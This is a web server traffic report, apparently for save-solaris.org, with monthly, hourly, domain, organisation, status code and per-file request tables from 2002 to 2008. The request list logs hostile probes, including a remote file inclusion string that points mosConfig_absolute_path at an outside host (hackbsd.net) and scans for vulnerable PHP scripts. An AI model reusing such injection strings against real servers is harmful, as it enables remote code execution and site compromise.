|
| month | reqs | pages | |
|---|---|---|---|
| Jan 2002 | 34538 | 29087 | ![]() ![]() ![]() |
| Feb 2002 | 8493 | 6419 | ![]() ![]() |
| Mar 2002 | 7312 | 6168 | ![]() |
| Apr 2002 | 5976 | 4972 | ![]() ![]() ![]() |
| May 2002 | 6004 | 4978 | ![]() ![]() ![]() |
| Jun 2002 | 5447 | 3999 | ![]() ![]() |
| Jul 2002 | 4300 | 3305 | ![]() ![]() |
| Aug 2002 | 5114 | 3782 | ![]() ![]() |
| Sep 2002 | 30168 | 12605 | ![]() |
| Oct 2002 | 9682 | 6511 | ![]() ![]() |
| Nov 2002 | 4872 | 3891 | ![]() ![]() |
| Dec 2002 | 3345 | 2782 | ![]() |
| Jan 2003 | 3725 | 2955 | ![]() |
| Feb 2003 | 4260 | 3382 | ![]() ![]() |
| Mar 2003 | 3436 | 2803 | ![]() |
| Apr 2003 | 3551 | 2941 | ![]() |
| May 2003 | 3254 | 2572 | ![]() |
| Jun 2003 | 2863 | 2325 | ![]() ![]() |
| Jul 2003 | 3237 | 2670 | ![]() |
| Aug 2003 | 3172 | 2645 | ![]() |
| Sep 2003 | 4161 | 3258 | ![]() ![]() |
| Oct 2003 | 4312 | 3396 | ![]() ![]() |
| Nov 2003 | 4355 | 3281 | ![]() ![]() |
| Dec 2003 | 7741 | 6389 | ![]() |
| Jan 2004 | 4510 | 3629 | ![]() ![]() |
| Feb 2004 | 3212 | 2827 | ![]() |
| Mar 2004 | 3599 | 3240 | ![]() ![]() |
| Apr 2004 | 3655 | 3281 | ![]() ![]() |
| May 2004 | 4022 | 3485 | ![]() ![]() |
| Jun 2004 | 4050 | 3634 | ![]() ![]() |
| Jul 2004 | 3950 | 3575 | ![]() ![]() |
| Aug 2004 | 4422 | 4089 | ![]() ![]() |
| Sep 2004 | 4412 | 3800 | ![]() ![]() |
| Oct 2004 | 3244 | 2907 | ![]() |
| Nov 2004 | 3686 | 3380 | ![]() ![]() |
| Dec 2004 | 4457 | 4154 | ![]() ![]() |
| Jan 2005 | 3956 | 3722 | ![]() ![]() |
| Feb 2005 | 4215 | 3886 | ![]() ![]() |
| Mar 2005 | 5149 | 4834 | ![]() ![]() ![]() |
| Apr 2005 | 5240 | 4952 | ![]() ![]() ![]() |
| May 2005 | 5924 | 5673 | ![]() |
| Jun 2005 | 5813 | 5570 | ![]() ![]() ![]() |
| Jul 2005 | 5305 | 5047 | ![]() ![]() ![]() |
| Aug 2005 | 6090 | 5843 | ![]() |
| Sep 2005 | 5037 | 4780 | ![]() ![]() |
| Oct 2005 | 5920 | 5673 | ![]() |
| Nov 2005 | 6401 | 6007 | ![]() |
| Dec 2005 | 5953 | 5674 | ![]() |
| Jan 2006 | 6449 | 6063 | ![]() |
| Feb 2006 | 3960 | 3751 | ![]() ![]() |
| Mar 2006 | 5802 | 5509 | ![]() ![]() ![]() |
| Apr 2006 | 5166 | 4902 | ![]() ![]() ![]() |
| May 2006 | 5502 | 5086 | ![]() ![]() ![]() |
| Jun 2006 | 6059 | 5803 | ![]() |
| Jul 2006 | 4182 | 3981 | ![]() ![]() |
| Aug 2006 | 4182 | 3968 | ![]() ![]() |
| Sep 2006 | 4897 | 4565 | ![]() ![]() |
| Oct 2006 | 5643 | 5299 | ![]() ![]() ![]() |
| Nov 2006 | 4022 | 3694 | ![]() ![]() |
| Dec 2006 | 4682 | 4355 | ![]() ![]() |
| Jan 2007 | 4319 | 3942 | ![]() ![]() |
| Feb 2007 | 3958 | 3689 | ![]() ![]() |
| Mar 2007 | 4315 | 4064 | ![]() ![]() |
| Apr 2007 | 3727 | 3548 | ![]() ![]() |
| May 2007 | 4129 | 3900 | ![]() ![]() |
| Jun 2007 | 4441 | 4137 | ![]() ![]() |
| Jul 2007 | 4165 | 3849 | ![]() ![]() |
| Aug 2007 | 3429 | 3155 | ![]() |
| Sep 2007 | 2701 | 2537 | ![]() |
| Oct 2007 | 2874 | 2671 | ![]() |
| Nov 2007 | 2237 | 2049 | ![]() ![]() |
| Dec 2007 | 2596 | 2442 | ![]() |
| Jan 2008 | 2824 | 2662 | ![]() |
Busiest month: Jan 2002 (29,087 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the total activity for each day of the week, summed over all the weeks in the report.
Each unit (
) represents 1,500 requests for pages or part thereof.
| day | reqs | pages | |
|---|---|---|---|
| Sun | 39748 | 34854 | ![]() ![]() |
| Mon | 60627 | 51534 | ![]() ![]() ![]() |
| Tue | 62901 | 52323 | ![]() ![]() ![]() |
| Wed | 66345 | 52151 | ![]() ![]() ![]() |
| Thu | 60286 | 50773 | ![]() ![]() |
| Fri | 60424 | 52272 | ![]() ![]() ![]() |
| Sat | 41470 | 36492 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the total activity for each hour of the day, summed over all the days in the report.
Each unit (
) represents 400 requests for pages or part thereof.
| hour | reqs | pages | |
|---|---|---|---|
| 0 | 13483 | 11270 | ![]() ![]() ![]() ![]() |
| 1 | 12826 | 10937 | ![]() ![]() ![]() |
| 2 | 13385 | 11292 | ![]() ![]() ![]() ![]() |
| 3 | 15354 | 13142 | ![]() ![]() |
| 4 | 17842 | 15648 | ![]() ![]() |
| 5 | 16934 | 14793 | ![]() ![]() ![]() |
| 6 | 17164 | 15058 | ![]() ![]() ![]() |
| 7 | 15992 | 13863 | ![]() ![]() ![]() |
| 8 | 16749 | 14125 | ![]() ![]() |
| 9 | 17367 | 14459 | ![]() ![]() ![]() |
| 10 | 18122 | 14995 | ![]() ![]() ![]() |
| 11 | 18440 | 15427 | ![]() ![]() ![]() ![]() |
| 12 | 18775 | 15446 | ![]() ![]() ![]() ![]() |
| 13 | 18495 | 15029 | ![]() ![]() ![]() |
| 14 | 18578 | 15397 | ![]() ![]() ![]() ![]() |
| 15 | 18464 | 15443 | ![]() ![]() ![]() ![]() |
| 16 | 18673 | 15500 | ![]() ![]() ![]() ![]() |
| 17 | 17812 | 14855 | ![]() ![]() ![]() |
| 18 | 16442 | 13937 | ![]() ![]() ![]() |
| 19 | 14590 | 12379 | ![]() ![]() ![]() ![]() ![]() |
| 20 | 14592 | 12492 | ![]() |
| 21 | 14618 | 12144 | ![]() ![]() ![]() ![]() ![]() |
| 22 | 13775 | 11660 | ![]() ![]() ![]() ![]() |
| 23 | 13329 | 11108 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the countries of the computers which requested files.

Listing domains, sorted by the amount of traffic.
| reqs | %bytes | domain |
|---|---|---|
| 165642 | 39.82% | .com (Commercial) |
| 70374 | 20.99% | .net (Networks) |
| 50089 | 11.87% | [unresolved numerical addresses] |
| 19162 | 7.73% | .edu (USA Higher Education) |
| 14767 | 2.92% | .nl (Netherlands) |
| 5522 | 1.88% | .uk (United Kingdom) |
| 4717 | 1.32% | .de (Germany) |
| 6550 | 1.28% | .jp (Japan) |
| 4106 | 1.00% | .ca (Canada) |
| 3354 | 0.98% | [unknown domain] |
| 3964 | 0.72% | .it (Italy) |
| 3600 | 0.70% | .fr (France) |
| 2890 | 0.54% | .au (Australia) |
| 2269 | 0.51% | .pl (Poland) |
| 1925 | 0.47% | .se (Sweden) |
| 836 | 0.38% | .at (Austria) |
| 1977 | 0.37% | .es (Spain) |
| 1324 | 0.37% | .org (Non Profit Making Organisations) |
| 1441 | 0.34% | .br (Brazil) |
| 1414 | 0.33% | .be (Belgium) |
| 1822 | 0.31% | .ru (Russia) |
| 1674 | 0.26% | .mil (USA Military) |
| 1029 | 0.26% | .dk (Denmark) |
| 950 | 0.25% | .ch (Switzerland) |
| 1128 | 0.24% | .gov (USA Government) |
| 557 | 0.22% | .us (United States) |
| 898 | 0.21% | .sg (Singapore) |
| 723 | 0.21% | .no (Norway) |
| 794 | 0.17% | .il (Israel) |
| 1029 | 0.17% | .hu (Hungary) |
| 1098 | 0.15% | .cn (China) |
| 691 | 0.15% | .in (India) |
| 439 | 0.15% | .ar (Argentina) |
| 531 | 0.15% | .mx (Mexico) |
| 770 | 0.15% | .fi (Finland) |
| 500 | 0.15% | .pt (Portugal) |
| 1442 | 0.15% | .tw (Taiwan) |
| 748 | 0.15% | .gr (Greece) |
| 498 | 0.13% | .ae (United Arab Emirates) |
| 532 | 0.12% | .ro (Romania) |
| 526 | 0.12% | .cz (Czech Republic) |
| 473 | 0.11% | .tr (Turkey) |
| 461 | 0.10% | .th (Thailand) |
| 287 | 0.10% | .arpa (Arpanet) |
| 331 | 0.09% | .sa (Saudi Arabia) |
| 480 | 0.09% | .za (South Africa) |
| 487 | 0.09% | .nz (New Zealand) |
| 473 | 0.07% | .gh (Ghana) |
| 311 | 0.07% | .my (Malaysia) |
| 233 | 0.06% | .ie (Ireland) |
| 231 | 0.06% | .ee (Estonia) |
| 128 | 0.06% | .lt (Lithuania) |
| 205 | 0.05% | .sk (Slovakia) |
| 223 | 0.05% | .id (Indonesia) |
| 91 | 0.04% | .si (Slovenia) |
| 104 | 0.04% | .info (Informational) |
| 102 | 0.03% | .co (Colombia) |
| 72 | 0.03% | .biz (Businesses) |
| 134 | 0.03% | .hr (Croatia) |
| 268 | 0.03% | .hk (Hong Kong) |
| 190 | 0.03% | .ua (Ukraine) |
| 84 | 0.03% | .ph (Philippines) |
| 103 | 0.02% | .pk (Pakistan) |
| 102 | 0.02% | .cl (Chile) |
| 445 | 0.02% | .sc (Seychelles) |
| 57 | 0.02% | .yu (Former Yugoslavia) |
| 78 | 0.02% | [domain not given] |
| 52 | 0.02% | .uy (Uruguay) |
| 30 | 0.01% | .eg (Egypt) |
| 30 | 0.01% | .pe (Peru) |
| 68 | 0.01% | .bg (Bulgaria) |
| 41 | 0.01% | .do (Dominican Republic) |
| 35 | 0.01% | .is (Iceland) |
| 41 | 0.01% | .ci (Ivory Coast) |
| 37 | 0.01% | .cr (Costa Rica) |
| 12 | 0.01% | .cu (Cuba) |
| 40 | 0.01% | .cc (Cocos (Keeling) Islands) |
| 62 | 0.01% | .int (International Treaty Organisations) |
| 83 | 0.01% | .bz (Belize) |
| 86 | 0.01% | .su (Former USSR) |
| 29 | 0.01% | .ve (Venezuela) |
| 58 | 0.01% | .lv (Latvia) |
| 58 | 0.01% | .kr (South Korea) |
| 58 | 0.01% | .nu (Niue) |
| 17 | 0.01% | .lb (Lebanon) |
| 18 | 0.01% | .vn (Vietnam) |
| 19 | 0.01% | .md (Moldova) |
| 3 | 0.01% | .coop (Co-operatives) |
| 29 | 0.01% | .ba (Bosnia-Herzegovina) |
| 19 | .tt (Trinidad and Tobago) | |
| 6 | .fj (Fiji) | |
| 43 | .lu (Luxembourg) | |
| 15 | .ir (Iran) | |
| 36 | .ma (Morocco) | |
| 3 | .bw (Botswana) | |
| 15 | .by (Belarus) | |
| 10 | .gt (Guatemala) | |
| 12 | .lk (Sri Lanka) | |
| 6 | .py (Paraguay) | |
| 4 | .aero (Air Transport Industry) | |
| 3 | .sy (Syria) | |
| 9 | .rw (Rwanda) | |
| 17 | .mt (Malta) | |
| 17 | .tv (Tuvalu) | |
| 16 | .jo (Jordan) | |
| 4 | .al (Albania) | |
| 10 | .mu (Mauritius) | |
| 27 | .cy (Cyprus) | |
| 4 | .bs (Bahamas) | |
| 2 | .ai (Anguilla) | |
| 1 | .bm (Bermuda) | |
| 19 | .kz (Kazakhstan) | |
| 2 | .vi (Virgin Islands (USA)) | |
| 6 | .qa (Qatar) | |
| 2 | .st (Saint Tome and Principe) | |
| 2 | .cd (Democratic Republic of the Congo) | |
| 8 | .om (Oman) | |
| 3 | .ni (Nicaragua) | |
| 2 | .pa (Panama) | |
| 6 | .ec (Ecuador) | |
| 3 | .np (Nepal) | |
| 12 | .ge (Georgia) | |
| 4 | .mv (Maldives) | |
| 2 | .fo (Faroe Islands) | |
| 2 | .name (Individuals) | |
| 6 | .dz (Algeria) | |
| 3 | .kg (Kyrgyzstan) | |
| 2 | .uz (Uzbekistan) | |
| 6 | .bn (Brunei Darussalam) | |
| 4 | .tg (Togo) | |
| 7 | .bj (Benin) | |
| 5 | .ke (Kenya) | |
| 6 | .vc (Saint Vincent and Grenadines) | |
| 5 | .ng (Nigeria) | |
| 6 | .ky (Cayman Islands) | |
| 2 | .mc (Monaco) | |
| 4 | .jm (Jamaica) | |
| 3 | .tn (Tunisia) | |
| 4 | .to (Tonga) | |
| 6 | .am (Armenia) | |
| 4 | .mk (Macedonia (Former Yugoslav Republic)) | |
| 1 | .ag (Antigua and Barbuda) | |
| 1 | .pr (Puerto Rico) | |
| 2 | .mz (Mozambique) | |
| 1 | .tz (Tanzania) | |
| 1 | .gg (Guernsey) | |
| 1 | .cx (Christmas Island) | |
| 1 | .tk (Tokelau) | |
| 1 | .sn (Senegal) | |
| 1 | .sz (Swaziland) | |
| 1 | .sm (San Marino) | |
| 1 | .gi (Gibraltar) | |
| 1 | .ws (Samoa) | |
| 1 | .et (Ethiopia) | |
| 1 | .ms (Montserrat) |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the organisations of the computers which requested files.

Listing the top 20 organisations by the number of requests, sorted by the number of requests.
| reqs | %bytes | organisation |
|---|---|---|
| 27299 | 3.82% | googlebot.com |
| 24921 | 10.40% | inktomisearch.com |
| 22686 | 5.05% | msn.com |
| 13407 | 6.17% | psu.edu |
| 10894 | 1.40% | sun.com |
| 6281 | 1.16% | chello.nl |
| 5357 | 1.47% | yahoo.net |
| 5007 | 1.25% | rr.com |
| 4458 | 1.89% | comcast.net |
| 4278 | 1.17% | [unknown domain] |
| 4112 | 0.92% | fti.net |
| 4038 | 0.89% | attbi.com |
| 3968 | 0.23% | looksmart.com |
| 3694 | 1.02% | pacbell.net |
| 3688 | 0.13% | avantgo.com |
| 2994 | 0.80% | live.com |
| 2899 | 1.26% | t-dialin.net |
| 2749 | 0.62% | rima-tde.net |
| 2339 | 0.43% | home.nl |
| 2236 | 0.79% | ask.com |
| 234496 | 59.14% | [not listed: 18,247 organisations] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the HTTP status codes of all requests.

Listing status codes, sorted numerically.
| reqs | status code |
|---|---|
| 377541 | 200 OK |
| 8887 | 206 Partial content |
| 669 | 301 Document moved permanently |
| 39966 | 302 Document found elsewhere |
| 5373 | 304 Not modified since last retrieval |
| 20 | 400 Bad request |
| 74 | 401 Authentication required |
| 159 | 403 Access forbidden |
| 109117 | 404 Document not found |
| 54 | 405 Method not allowed |
| 5 | 408 Request timeout |
| 14 | 416 Requested range not valid |
| 25 | 500 Internal server error |
| 34 | 502 Error at upstream server |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the sizes of files.

| size | reqs | %bytes |
|---|---|---|
| 0 | 9304 | |
| 1B- 10B | 31 | |
| 11B- 100B | 5 | |
| 101B- 1kB | 6072 | 0.02% |
| 1kB- 10kB | 205938 | 5.02% |
| 10kB-100kB | 111338 | 16.43% |
| 100kB- 1MB | 57236 | 68.93% |
| 1MB- 10MB | 1877 | 9.60% |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the extensions of files.

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
| reqs | %bytes | extension |
|---|---|---|
| 267962 | 69.90% | .html [Hypertext Markup Language] |
| 12753 | 18.03% | .jpg [JPEG graphics] |
| 27659 | 9.66% | .pdf [Adobe Portable Document Format] |
| 62437 | 1.54% | [directories] |
| 772 | 0.49% | .gz [Gzip compressed files] |
| 772 | 0.49% | .bmp.gz |
| 172 | 0.24% | .php [PHP] |
| 20046 | 0.14% | [not listed: 7 extensions] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the directories from which files were requested. (The figures for each directory include all of its subdirectories.)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
| reqs | %bytes | directory |
|---|---|---|
| 355604 | 99.05% | [root directory] |
| 11197 | 0.29% | /sign-letter/ |
| 78 | 0.24% | /clippings.html/ |
| 792 | 0.23% | http:// |
| 22924 | 0.15% | /images/ |
| 78 | 0.03% | /mcnealy-nc04q4-chat.html/ |
| 1128 | 0.02% | [not listed: 43 directories] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organisation Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
This report lists the files on the site.

Listing files with at least 20 requests, sorted by the number of requests.
| reqs | %bytes | last time | file |
|---|---|---|---|
| 53937 | 1.27% | 24/Sep/03 12:24 | / |
| 29151 | 1.48% | 28/Jan/08 01:41 | /estrin-2003-09-04.html |
| 22789 | 22.13% | 28/Jan/08 09:46 | /signatories.html |
| 22747 | 26.15% | 28/Jan/08 21:05 | /clippings.html |
| 18976 | 5.02% | 29/Jan/08 00:52 | /forums.html |
| 18126 | 7.52% | 28/Jan/08 04:32 | /sjmercurynews-20020903.pdf |
| 13 | 5/Mar/07 02:56 | /sjmercurynews-20020903.pdf?userid=Givesmart&userip=66.249.72.47&useragent=Mozilla/5.0+(compatible%3B+Googlebot/2.1%3B++http://www.google.com/bot.html) | |
| 11 | 26/May/05 01:16 | /sjmercurynews-20020903.pdf?Cache | |
| 9565 | 0.16% | 29/Jan/08 02:44 | /ads.html |
| 8409 | 0.26% | 29/Jan/08 05:17 | /sign-letter/ |
| 8330 | 0.13% | 28/Jan/08 20:01 | /about.html |
| 7583 | 0.26% | 29/Jan/08 05:28 | /schwartz-2006-08-18.html |
| 7443 | 1.22% | 29/Jan/08 03:05 | /sueltz-2002-05-21.pdf |
| 7393 | 0.53% | 29/Jan/08 00:52 | /board.html |
| 7233 | 2.49% | 28/Jan/08 06:28 | /mcnealy-nc04q3-chat.html |
| 6636 | 2.20% | 28/Jan/08 20:24 | /mcnealy-nc04q4-chat.html |
| 6567 | 2.07% | 29/Jan/08 03:41 | /mcnealy-nc04q2-chat.html |
| 6325 | 2.70% | 28/Jan/08 22:45 | /schwartz-nc05q2-chat.html |
| 6232 | 0.28% | 28/Jan/08 13:23 | /knox.html |
| 5937 | 0.20% | 29/Jan/08 05:29 | /loiacono-2002-09-07.html |
| 5625 | 0.15% | 29/Jan/08 03:58 | /loiacono-2002-09-04.html |
| 5571 | 0.18% | 28/Jan/08 12:09 | /schwartz-2003-10-21.html |
| 5196 | 0.25% | 29/Jan/08 02:44 | /expenses.html |
| 5172 | 0.18% | 29/Jan/08 03:46 | /loiacono.html |
| 5135 | 0.17% | 29/Jan/08 01:08 | /reply-to-sasaki-2003-10-20.html |
| 5037 | 0.20% | 28/Jan/08 23:40 | /joy.html |
| 4975 | 0.12% | 28/Jan/08 17:27 | /zander.html |
| 4944 | 0.16% | 28/Jan/08 05:19 | /mcnealy.html |
| 4833 | 12.39% | 24/Jan/08 15:28 | /london-guardian-20020131.jpg |
| 4651 | 0.18% | 28/Jan/08 14:45 | /estrin.html |
| 20 | 23/Jan/08 01:41 | /estrin.html?mode=form | |
| 4473 | 0.31% | 28/Jan/08 20:11 | /sasaki-2003-10-20.html |
| 4472 | 0.12% | 28/Jan/08 23:10 | /sasaki-2003-10-15.html |
| 4395 | 0.11% | 28/Jan/08 06:52 | /kreidler.html |
| 4163 | 0.06% | 27/Jan/08 18:56 | /credits.html |
| 4103 | 0.16% | 28/Jan/08 22:18 | /reply-to-sasaki-2003-10-19.html |
| 4075 | 0.06% | 28/Jan/08 22:18 | /donate.html |
| 4049 | 0.11% | 29/Jan/08 04:57 | /sasaki-2003-10-19.html |
| 4011 | 0.21% | 29/Jan/08 01:21 | /sasaki-2-2003-10-19.html |
| 3899 | 0.03% | 24/Jan/08 20:13 | /images/dell.jpg |
| 3851 | 0.09% | 28/Jan/08 17:15 | /reply-to-sasaki-2003-10-16.html |
| 3848 | 0.02% | 24/Jan/08 16:39 | /images/SunLogo.png |
| 3795 | 0.02% | 24/Jan/08 16:39 | /images/Oracle_logo.gif |
| 3794 | 0.04% | 24/Jan/08 16:39 | /images/mason_logo.gif |
| 3792 | 0.03% | 24/Jan/08 16:39 | /images/apache_pb.gif |
| 3785 | 0.01% | 24/Jan/08 16:39 | /images/mod_perl.gif |
| 3598 | 0.10% | 29/Jan/08 03:58 | /sasaki.html |
| 3236 | 0.06% | 28/Jan/08 20:41 | /jds-sales-seminar.html |
| 3111 | 0.10% | 29/Jan/08 02:48 | /jones-2004-12-08.html |
| 2779 | 0.03% | 9/Aug/06 00:48 | /sign-letter/sign-letter.html |
| 2672 | 0.66% | 29/Jan/08 02:17 | /schwartz-nc05q3-chat.html |
| 2291 | 0.08% | 28/Jan/08 16:00 | /grantham-2005-05-31.html |
| 2102 | 3.80% | 24/Jan/08 15:25 | /boston-globe-20020128.jpg |
| 2077 | 0.91% | 28/Jan/08 08:12 | /siliconview.pdf |
| 1765 | 1.66% | 24/Jan/08 15:26 | /sjmercurynews-20020127.jpg |
| 937 | 19/Dec/03 13:59 | /icons/image3.png | |
| 772 | 0.49% | 27/Jan/08 19:45 | /afr-20020130.bmp.gz |
| 110 | 0.13% | 12/Jul/04 19:38 | /wsj-2002-10-07.jpg |
| 85 | 0.08% | 29/Jun/07 20:46 | http://www.save-solaris.org/clippings.html |
| 66 | 0.06% | 22/Aug/07 19:06 | http://www.save-solaris.org/signatories.html |
| 52 | 27/Jan/08 18:53 | /estrin.html/skin/board/default/doctype.php | |
| 43 | 17/Dec/07 08:59 | http://www.save-solaris.org/reply-to-sasaki-2003-10-20.html | |
| 41 | 0.13% | 6/Jan/08 10:00 | /clippings.html/index.php |
| 17 | 0.05% | 14/Nov/07 22:26 | /clippings.html/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=http://hackbsd.net/.xrt/safe.gif? |
| 37 | 0.01% | 27/Aug/07 18:35 | http://www.save-solaris.org/schwartz-nc05q3-chat.html |
| 34 | 25/Oct/07 08:42 | http://www.save-solaris.org/jones-2004-12-08.html | |
| 33 | 0.01% | 4/Nov/07 18:56 | http://www.save-solaris.org/schwartz-nc05q2-chat.html |
| 32 | 25/Oct/07 08:43 | http://www.save-solaris.org/schwartz-2003-10-21.html | |
| 32 | 0.01% | 23/Nov/07 08:12 | http://www.save-solaris.org/mcnealy-nc04q2-chat.html |
| 30 | 29/Nov/07 08:19 | http://www.save-solaris.org/reply-to-sasaki-2003-10-19.html | |
| 29 | 27/Aug/07 06:01 | http://www.save-solaris.org/sasaki-2003-10-20.html | |
| 26 | 27/Aug/07 18:35 | http://www.save-solaris.org/grantham-2005-05-31.html | |
| 26 | 29/Jan/04 11:16 | /jds-sale-seminar.html | |
| 26 | 19/Dec/07 08:23 | /estrin.html/include.php | |
| 25 | 25/Oct/07 08:42 | http://www.save-solaris.org/schwartz-2006-08-18.html | |
| 24 | 0.01% | 27/Aug/07 18:35 | http://www.save-solaris.org/mcnealy-nc04q4-chat.html |
| 24 | 29/Nov/07 08:19 | http://www.save-solaris.org/reply-to-sasaki-2003-10-16.html | |
| 22 | 8/Nov/07 12:33 | http://www.save-solaris.org/board.html | |
| 21 | 0.06% | 19/Aug/07 17:42 | /clippings.html/phpwcms/include/inc_ext/spaw/dialogs/table.php |
| 21 | 0.01% | 27/Aug/07 18:35 | http://www.save-solaris.org/mcnealy-nc04q3-chat.html |
| 20 | 0.01% | 26/Dec/07 23:56 | http://www.save-solaris.org/forums.html |
| 579 | 0.15% | 4/Jan/08 17:32 | [not listed: 260 files] |